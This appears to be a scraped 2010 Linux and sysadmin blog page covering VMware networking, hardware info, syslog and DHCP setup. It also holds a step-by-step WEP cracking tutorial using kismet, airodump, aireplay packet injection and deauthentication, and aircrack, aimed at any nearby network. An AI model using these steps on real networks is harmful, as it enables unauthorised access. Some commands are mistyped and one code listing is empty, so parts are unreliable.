Configure SSL Settings

Configure SSL settings if you want your site to require SSL, or to interact in a specific way with client certificates. Click the site node in the tree view to go back to the site's home page. Double-click the SSL Settings feature in the middle pane.


Summary

In this walkthrough, we successfully used the command-line tool AppCmd.exe, the scripting provider WMI, and IIS Manager to set up SSL on IIS 7.

Sunday, October 10, 2010

Creating a New VMWare Workstation Virtual Machine

VMware – Virtual Networking

Let’s talk something about virtual networking today. In VMware everything is virtualized. Even the networks also. Before proceeding to our discussion, lets see how a common physical network looks like.

image

If you see in this image, the two systems are connected to a router/switch (in this case, the router is also acting as switch) to enable networking between them. All these three devices are physical, and those are connected using the cables. So when you configure this type of networking A Switch, Cables and Network cards are mandatory. But is it possible to enable the same type of networking between two machines without any cables, physical switches or physical nics in between them ?

Yes, absolutely using the Grand Grand Virtualization Master VMware.

Using VMware Virtualization software we can create virtual machines, we can add virtual nics to those virtual machines, we can also create virtual switches and finally we can connect those virtual machines using these virtual devices. But one thing is absolutely not needed in this type of networking that is Cables. Everything is virtualized here. Now lets see how a simple virtual network looks like.

image

In the image beside, VM1 and VM2 are examples of Pure Virtual Networking. That means, there is no physical device at all between VM1 and VM2. They can communicate each other in all aspects using the Virtual Networking. But if you take VM0, VM1(it has two nics), VM3 are connected to respective Virtual Switches using the Virtual Nics added to them . The communication between these VM’s also takes place using the Virtual Switches which they are connected. But aprat from the internal communication, they are also able to communicate with external networks i.e Prod LAN1, Prod LAN2 and Mgmt LAN. That means they are able to communicate with the other physical machines in their external network or on the internet.

How this external communication happens?

Let me explain this in detail, we are creating virtual machines on ESX servers right, so these ESX servers contains Physical nics attached to them. And these physical nics again connected to Physical Switches using the cables. So we are using One Port on Physical Switch for this ESX server, and the other ports on the same switch are used for other ESX servers or other Physical Machines. So when you create a virtual machine on this ESX server, we will add virtual nics to it. Those virtual nics are connected to Virtual Switch on the same ESX server. So what we are doing here is, we are creating a Virtual Switch using the Physical Nics which are attached to the ESX server. When we initiate a request on the virtual machine, it goes to virtual switch (means physical nics of ESX server), from there it forwarded to physical switch. And as you switch is an intelligent device, it can transmit the same request to the target machine if the target is in same network. Other wise, it will forward it to another switch or router. In this way a Virtual machine communicates with the Physical network.

What is a VNIC and vSwitch?

A VNIC is a virtual nic which is added when we create a virtual machine. Its a software based nic (virtualized nic) which enables the communication between vm’s or between a vm or vSwitch.

A vSwitch is nothing but the physical nic which is installed on the ESX server. The same physical nic shared to all the virtual machines hosted on that particular ESX server. So it is acting as a Switch in this scenario. We can connect/configure 1016 virtual machines to use a physical nic, in other words we can create a virtual switch that contain 1016 ports. No physical switch provides these many ports in real time. And in other case, we can create the vSwitch with out any physical nic also. Its purely software based vSwitch (the same is used between VM1 and VM2).

Here you go, a virtual networking looks like below when you manage it through Virtual Center. In the below image, Help,Exchange1, Mandarin, DC2, SIF, Kurzweil are the virtual machines which are connected to vSwitch0 (2 physical nics on ESX server). In the same way iSCSI and Exchange1 are connected to vSwitch1. Here vSwitch0 and vSwitch1 are different networks (assume them as Production network and management network respectively). This the networking belong to one ESX server only, if we are configuring a Cluster using multiple ESX servers, we need to configure them in the same way. All must have identical configuration, otherwise vMotion, HA and DRS will not work properly.

image

I hope this is informative for you. Thanks for visiting my blog.

Train signal CBT, CBT Nuggets are some of the video tutorials available in the current market. You can see the demo videos in Youtube also for real-time configurations i suggest you to watch them.

Tq http://www2.isupportyou.net/2010/07/vmware-virtual-networking.html

How to view information about the motherboard and CPU in ubuntu

To view information about your hardware, the following command will help :

sudo dmidecode | more

dmidecode's purpose to report "information about your system hardware as described in the system BIOS according to the SMBIOS/DMI standard."

Enjoy ubuntu... ;)

Friday, October 8, 2010

How to crack a WEP key using Ubuntu

After the article on cracking a WEP key using a MAC, many users have requested similar *testing* of their security procedures using a popular LINUX distro and WinXP. This article delves into cracking a WEP key and a WEP key force using the most popular and user friendly LINUX distro out there : UBUNTU. All you need is a laptop with a wireless card and a copy of Ubuntu Linux. NOTE: Most of the Intel wireless adapters that come in built in most laptops these days should work.

Ubuntu (IPA pronunciation: /u’buntu/) is a Linux distribution offering an operating system predominantly targeted at desktop computers. Based on Debian GNU/Linux, Ubuntu concentrates on usability, freedom from restriction of use, regular releases, and ease of installation. Ubuntu is sponsored by Canonical Ltd., by South African Mark Shuttleworth; the name of the distribution comes from the African concept of ubuntu (roughly, “humanity towards others”).

First step, obviously, is to install Ubuntu. Just boot from the CD and follow the directions. If you have problems or need help installing UBUNTU, follow this guide straight from Ubuntu. Once you have the OS installed and configured/customized to your liking we can proceed with the first step. I’d suggest performing the following steps in order, otherwise you may have problems.

Next, install the extra repositories and all the programs that Ubuntu doesn’t preinstall. Make sure your machine is able to establish a connection to the Internet. If you can only connect via wireless and are having problems, there is a package called Wi-Fi radar that is helpful. To install the extra repositories, open a terminal window and type the following:

sudo cp /etc/apt/sources.list /etc/apt/sources.list_backup
sudo gedit /etc/apt/sources.list

While in the editor, replace everything with:

## Add comments (##) in front of any line to remove it from being checked.
## Use the following sources.list at your own risk.
deb http://archive.ubuntu.com/ubuntu dapper main restricted universe multiverse
deb-src http://archive.ubuntu.com/ubuntu dapper main restricted universe multiverse

## MAJOR BUG FIX UPDATES produced after the final release
deb http://archive.ubuntu.com/ubuntu dapper-updates main restricted universe multiverse
deb-src http://archive.ubuntu.com/ubuntu dapper-updates main restricted universe multiverse

## UBUNTU SECURITY UPDATES
deb http://security.ubuntu.com/ubuntu dapper-security main restricted universe multiverse
deb-src http://security.ubuntu.com/ubuntu dapper-security main restricted universe multiverse

## BACKPORTS REPOSITORY (Unsupported. May contain illegal packages. Use at own risk.)
deb http://archive.ubuntu.com/ubuntu dapper-backports main restricted universe multiverse
deb-src http://archive.ubuntu.com/ubuntu dapper-backports main restricted universe multiverse

## PLF REPOSITORY (Unsupported. May contain illegal packages. Use at own risk.)
deb http://packages.freecontrib.org/ubuntu/plf dapper free non-free
deb-src http://packages.freecontrib.org/ubuntu/plf dapper free non-free

Save the file and exit the text editor. Next type the command:

sudo apt-get update

Now we have to install the packages we’ll need later on:

sudo apt-get install build-essential
sudo apt-get install aircrack
sudo apt-get install kismet
sudo apt-get install airsnort
sudo apt-get install linux-source
sudo apt-get install linux-headers
sudo apt-get install sharutils

Next, you should update your entire system by going to the System Menu>Administration>Update Manager. Click ‘Check’ and begin installing updates. Then reboot your system. After this is done, it’s time to patch the Madwifi drivers.

This is where everything can be tricky. My wireless card (Linksys WPC55AG) uses the Atheros driver, which I needed to patch. If you have a different driver, you’re going to need to find out whether or not you need to patch your drivers, or if they’ll even work with the Aircrack suite. The forums at aircrack-ng.org are a good place to look and so is a Google search. If you have an Atheros card, it will be called ath0 when you type iwconfig in the terminal window, or there will be a line that says Ethernet controller: Atheros Communications… when you type lspci in the terminal.

Let’s apply the madwifi patch which you’ll need if you’re using the Atheros driver. This will temporarily disable your wireless card when it deletes the old drivers of the disk. First we’re going to navigate to the /usr/src directory, download the new drivers, delete the old drivers, then install the new ones and apply the patch. You can just copy and paste the commands below into the terminal or type them yourself. So. first, let’s get the patch and then get the corresponding version of the driver

sudo -i

cd /usr/src

get http://patches.aircrack-ng.org/madwifi-ng-r1679.patch

wget http://snapshots.madwifi.org/madwifi-ng/madwifi-ng-r1679-20060707.tar.gz

ifconfig ath0 down
rmmod ath_rate_sample wlan_wep ath_rate_onoe ath_pci wlan ath_hal
find /lib/modules -name ‘ath*’ -exec rm -v {} \;
find /lib/modules -name ‘wlan*’ -exec rm -v {} \;

# tar zxvf madwifi-ng-r1679-20060707.tar.gz
# cd madwifi-ng-r1679-20060707/
# patch -Np1 -i ../madwifi-ng-r1679.patch
# make
# make install
# mod_probe ath_pci

NOTE: Some people have been having problems with the modprobe command. A comment below contains a fix in some cases:

However, during Madwifi Installation I got this warning:

Warning: could not find /usr/src/madwifi/ath_hal/.hal.o.cmd for /usr/src/madwifi/ath_hal/hal.o

This warning can be IGNORED.

When I ran “modprobe ath_pci” it gave me an error message and “dmesg” gave me some gibberish about “disagrees about version of symbol”.

I browsed the web and found the solution: You have to delete the linux-restricted modules. Just search for “linux-restricted” in Synaptic. I removed everything but “linux-restricted-modules-common”. Then I compiled the madwifi again and ran “modeprobe ath_pci” again. NO ERROR this time! Authenticating and injecting works!

Apparently some network cards with atheros chipset cause problems if you don’t remove the linux-restricdet-modules.

If you are using the Atheros driver, next we need to configure kismet to use the right source. If you are using another driver you’ll have to look up what syntax you use. First navigate to the Kismet config, then change the source line.

sudo gedit /etc/kismet/kismet.conf

Change the line that begins with ’source=’ to ’source=madwifi_ag,ath0,madwifi’. Now reboot the computer. After it boots back up you should be able to access the internet again via your wireless card.

Now we can begin cracking. Open up a terminal window, enter monitor mode, and run kismet.

sudo airmon start ath0
sudo kismet

Locate the wireless network you want to crack, and note its ESSID and channel. Then exit by pressing Ctrl-C.

Next, run airodump.

sudo airodump ath0 filename channel# 1

The one at the end lets Airodump know we only want to capture IV’s. The filename can be anything you want, and will be saved in your home directory (or whatever directory you run the command from) as filename.ivs.

Copy the bssid of the wireless network from the airodump window by selecting it and pressing Shift+Ctrl+C. Open up a new terminal window so we can run aireplay to start injecting packets so our data count goes up. We want the data column in airodump to reach between 100,000 and 400,000. The more packets we have, the faster aircrack can find the WEP key. If the WEP key is 128 bits, we may need up to 1,000,000 packets.

sudo aireplay -1 0 -e ESSID -a BSSID -h 0:1:2:3:4:5 ath0

This should associate the network with the wireless connection. If it times out repeatedly, you need to be closer to the wireless router or change your interface rate by typing ’sudo iwconfig ath0 rate 1M’.

Next we want to start injecting packets.

sudo aireplay -3 -b BSSID -h 0:1:2:3:4:5 ath0

At first, it will only read packets, and say 0 ARP requests and 0 packets sent. Just wait a minute or two and it will start sending packets in large quantities. If it returns text that says it has been deauthorized, press Ctrl+C and run the command again. You can try to speed things up by entering this command:

sudo aireplay -0 ath0 -a BSSID ath0

Otherwise just sit back and wait. As soon as packets begin to be sent, the data field in Airodump should start flying. Wait until the desired number of packets have been recieved, then open a new terminal window and run aircrack.

sudo aircrack filename.ivs

After a minute, aircrack should return the WEP key. If it doesn’t, collect more packets.

Enjoy ubuntu... ;)

Wednesday, October 6, 2010

Howto Setup Syslog Server in Ubuntu using Apache2

will show you how to setup Syslog Server using Apache2 in Ubuntu Linux.

Make sure you set a static IP address in Ubuntu. Edit this file:
#vi /etc/network/interfaces

This is your network configuration file(/etc/network/interfaces):
# This file describes the network interfaces available on your system
# and how to activate them. For more information, see interfaces(5).

# The loopback network interface

auto lo
iface lo inet loopback

# The primary network interface
auto eth0
iface eth0 inet static
address 192.168.1.10
netmask 255.255.255.0
network 192.168.1.0
broadcast 192.168.1.255
gateway 192.168.1.1


After that, you need to prepare your Syslog Server:
#mkdir /logs
#vi /etc/syslog.conf
I logged everythings under folder/logs/logger.log. This is my syslog.conf file:
*.* /logs/logger.log

If you like to log everything from auth, cron, lpr error and only syslogs warnings then you have to add next lines to /etc/syslog.conf.
auth.* /logs/logger.log
cron.* /logs/logger.log
kern.* /logs/logger.log
lpr.3 /logs/logger.log
syslog.4 /logs/logger.log

Edit ksyslogd file (/etc/init.d/ksyslogd)
#vi /etc/init.d/ksyslogd

You need to change this line SYSLOGD=”” to SYSLOGD=”-r -m0”

Restart your network:

#/etc/init.d/networking restart

After that, install Apache2
#apt-get install apache2 php5 libapache2-mod-php5 mysql-server mysql-client php5-mysql

Check your hostname (/etc/hostname) and make sure
you have to put your local IP address in /etc/hosts. This is my /etc/hosts file:
127.0.0.1 localhost squid.cybersp.com
127.0.1.1 ubuntu
192.168.1.10 squid squid.cybersp.com
192.168.1.11 squid squid.cybersp.com

Modify your /etc/apache2/ports.conf and i decided to host on port 8080.

And go to apache2 site-available directory:
#cd /etc/apache2/sites-available
#touch squid.cybersp.com


Now edit squid.cybersp.com file
#vi /etc/apache2/sites-available/squid.cybersp.com

and make sure it looks like this:

ServerAdmin izhar@cybersp.com
ServerAlias squid.cybersp.com
DirectoryIndex index.php
DocumentRoot /logs

Ok, now go to sites-enabled directory:

#cd /etc/apache2/sites-enabled
#ln -s /etc/apache2/sites-available/squid.cybersp.com squid.cybersp.com

Go to /logs directory and create an index.php file:

#cd /logs
#touch index.php
#vi index.php

This is my index.php under /logs directory:









Now, restart your Apache:

#/etc/init.d/apache2 force-reload

Try to visit your Browser:

http://192.168.1.10:8080

How to Easily Crack WEP Keys with Backtrack 3

Tuesday, October 5, 2010

How to Install and Configure DHCP Server in Ubuntu Server

A DHCP Server assigns IP addresses to client computers. This is very often used in enterprise networks to reduce configuration efforts. All IP addresses of all computers are stored in a database that resides on a server machine.

A DHCP server can provide configuration settings using two methods

Address Pool

This method entails defining a pool (sometimes also called a range or scope) of IP addresses from which DHCP clients are supplied their configuration properties dynamically and on a fist come first serve basis. When a DHCP client is no longer on the network for a specified period, the configuration is expired and released back to the address pool for use by other DHCP Clients.

MAC Address

This method entails using DHCP to identify the unique hardware address of each network card connected to the network and then continually supplying a constant configuration each time the DHCP client makes a request to the DHCP server using that network device.

Install DHCP server in ubuntu

sudo apt-get install dhcp3-server

This will complete the installation.

Configuring DHCP server

If you have two network cards in your ubuntu server you need to select which interface you want to use for DHCP server listening.By default it listens to eth0.

You can change this by editing /etc/default/dhcp3-server file

sudo vi /etc/default/dhcp3-server

Find this line

INTERFACES=”eth0″

Replace with the following line

INTERFACES=”eth1″

Save and exit.This is optional.

Next you need to make a backup copy of /etc/dhcp3/dhcpd.conf file

cp /etc/dhcp3/dhcpd.conf /etc/dhcp3/dhcpd.conf.back

Edit /etc/dhcp3/dhcpd.conf file using the following command

sudo vi /etc/dhcp3/dhcpd.conf

Using address pool method

You need to change the following sections in /etc/dhcp3/dhcpd.conf file

default-lease-time 600;
max-lease-time 7200;

option subnet-mask 255.255.255.0;
option broadcast-address 192.168.1.255;
option routers 192.168.1.254;
option domain-name-servers 192.168.1.1, 192.168.1.2;
option domain-name “yourdomainname.com”;

subnet 192.168.1.0 netmask 255.255.255.0 {
range 192.168.1.10 192.168.1.200;
}

save and exit the file

This will result in the DHCP server giving a client an IP address from the range 192.168.1.10-192.168.1.200 . It will lease an IP address for 600 seconds if the client doesn’t ask for a specific time frame. Otherwise the maximum (allowed) lease will be 7200 seconds. The server will also “advise” the client that it should use 255.255.255.0 as its subnet mask, 192.168.1.255 as its broadcast address, 192.168.1.254 as the router/gateway and 192.168.1.1 and 192.168.1.2 as its DNS servers.

Using MAC address method

This method is you can reserver some of the machines or all the machines with fixed ip address.In the following example i am using fixed ip address for server1,server2,printer1 and printer2

default-lease-time 600;
max-lease-time 7200;

option subnet-mask 255.255.255.0;
option broadcast-address 192.168.1.255;
option routers 192.168.1.254;
option domain-name-servers 192.168.1.1, 192.168.1.2;
option domain-name “yourdomainname.com”;

subnet 192.168.1.0 netmask 255.255.255.0 {
range 192.168.1.10 192.168.1.200;
}

host server1 {
hardware ethernet 00:1b:63:ef:db:54;
fixed-address 192.168.1.20;
}

host server2 {
hardware ethernet 00:0a:95:b4:d4:b0;
fixed-address 192.168.1.21;
}

host printer1 {
hardware ethernet 00:16:cb:aa:2a:cd;
fixed-address 192.168.1.22;
}

host printer2 {
hardware ethernet 00:0a:95:f5:8f:b3;
fixed-address 192.168.1.23;
}

Now you need to restart dhcp server using the following command

sudo /etc/init.d/dhcp3-server restart

Configure Ubuntu DHCP Client

If you want to configure your ubuntu desktop as DHCP client following this procedure

You need to open /etc/network/interfaces file

sudo vi /etc/network/interfaces

make sure you have the following lines (eth0 is an example)

auto lo eth0
iface eth0 inet dhcp
iface lo inet loopback

Save and exit the file

You need to restart networking services using the following command

sudo /etc/init.d/networking restart

How to find DHCP server IP address

You need to use the following commands

sudo dhclient

or

tail -n 15 /var/lib/dhcp3/dhclient.*.leases

Enjoy ubuntu... ;)

kunkun-laptop .... ;)